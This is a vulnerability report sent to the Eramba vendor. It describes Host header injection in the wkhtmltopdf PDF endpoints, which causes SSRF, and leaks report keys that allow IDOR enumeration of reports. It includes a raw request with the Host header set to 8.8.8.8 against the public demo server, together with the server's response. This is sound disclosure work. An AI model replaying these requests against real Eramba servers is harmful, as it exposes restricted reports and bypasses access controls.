# Exploit found in eramba e2.2.[12-17] on 5.6.2020 by xxxx@xxxx.com

* Your report MUST describe which of the three issues above are of concern
* ***You were able to access to the system or specific functionalities (with write or read permissions) bypassing authentication and authorization controls***
* ***You are able to affect the data integrity of the software***
* A procedure we can repeat that leads to the bug. This is fundamental, step by step what actions, payloads, response headers, scripts, etc you used to exploit the system

***I was doing a security review of the Eramba source code and found a couple of security issues leading to SSRF (server-side request forgery), privilege escalation, and disclosure of arbitrary files on an Eramba server. As far as I know a user must be authenticated to exploit these vulnerabilities. I am reporting these vulnerabilities to you in this note.***

***First the default install of Eramba is vulnerable to Host header injection. I have observed this to be the case for certain URLs that generate PDFs using wkhtmltopdf. For APIs that generate PDFs using wkhtmltopdf, an attacker can set the Host header to any IP and the Eramba server will connect to that IP to retrieve content used to generate the PDF. I have observed this to be the case for two API endpoints (though there may be others):***

***/settings/downloadTestPdf?path=<wkhtmltopdf binary path>***

***/reports/reports/pdf/<id>***

***I am attaching a file request1.txt containing an HTTP GET request and response to the /reports/reports/pdf/<id> endpoint against the public Eramba demo server at*** [***https://demo-e.eramba.org***](https://demo-e.eramba.org/)***. In the request notice that the HTTP host header has been changed to the IP address 8.8.8.8. The internal server response from the server shows that the Eramba server tried to connect to*** [***https://8.8.8.8/reports/reports/pdfContent/17?key=***](https://8.8.8.8/reports/reports/pdfContent/17?key=)***<key>.***

***This has two impacts:***

***- Because the key is disclosed in the error response, a user can now enumerate all reports in the system unauthenticated, even if they are configured without privileges to those reports. This is a form of privilege escalation. For instance the user can just access:***

[***https://demo-e.eramba.org/reports/reports/pdfContent/16?key=***](https://demo-e.eramba.org/reports/reports/pdfContent/16?key=)***<key>***

[***https://demo-e.eramba.org/reports/reports/pdfContent/17?key=***](https://demo-e.eramba.org/reports/reports/pdfContent/17?key=)***<key>***

[***https://demo-e.eramba.org/reports/reports/pdfContent/18?key=***](https://demo-e.eramba.org/reports/reports/pdfContent/18?key=)***<key>***

***etc.***

***This is made possible by a weakness called IDOR (insecure direct object reference), where an attacker can simply enumerate all values (16, 17, 18...etc) because they are predictable. I'm not able to verify what else the key can be used to access but it's possible that this can be used to gain access to admin endpoints, e.g. Settings***

***REQUEST:***

GET /reports/reports/pdf/17 HTTP/1.1

Host: 8.8.8.8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: https://demo-e.eramba.org/securityPolicies

Cookie: \_ga=GA1.2.401434484.1602046464; ErambaCookie[Config]=Q2FrZQ%3D%3D.VFkUD3Byour1NiCqhGyfgdaN6WY%3D; Eramba=uilehi227t1l76io63k4pklhgc

Upgrade-Insecure-Requests: 1

***RESPONSE:***

HTTP/1.1 500 Internal Server Error

Date: Sun, 25 Oct 2020 07:05:48 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Disposition: attachment; filename="report.pdf"

Set-Cookie: ErambaCookie[Config]=Q2FrZQ%3D%3D.VFkUD3Byour1NiCqhGyfgdaN6WY%3D; path=/; domain=8.8.8.8; secure

Content-Length: 187041

Connection: close

Content-Type: text/html; charset=UTF-8

* The version of eramba you are using. Ideally you should be using the latest community or enterprise release.

***I was using e2.2.[12-17]***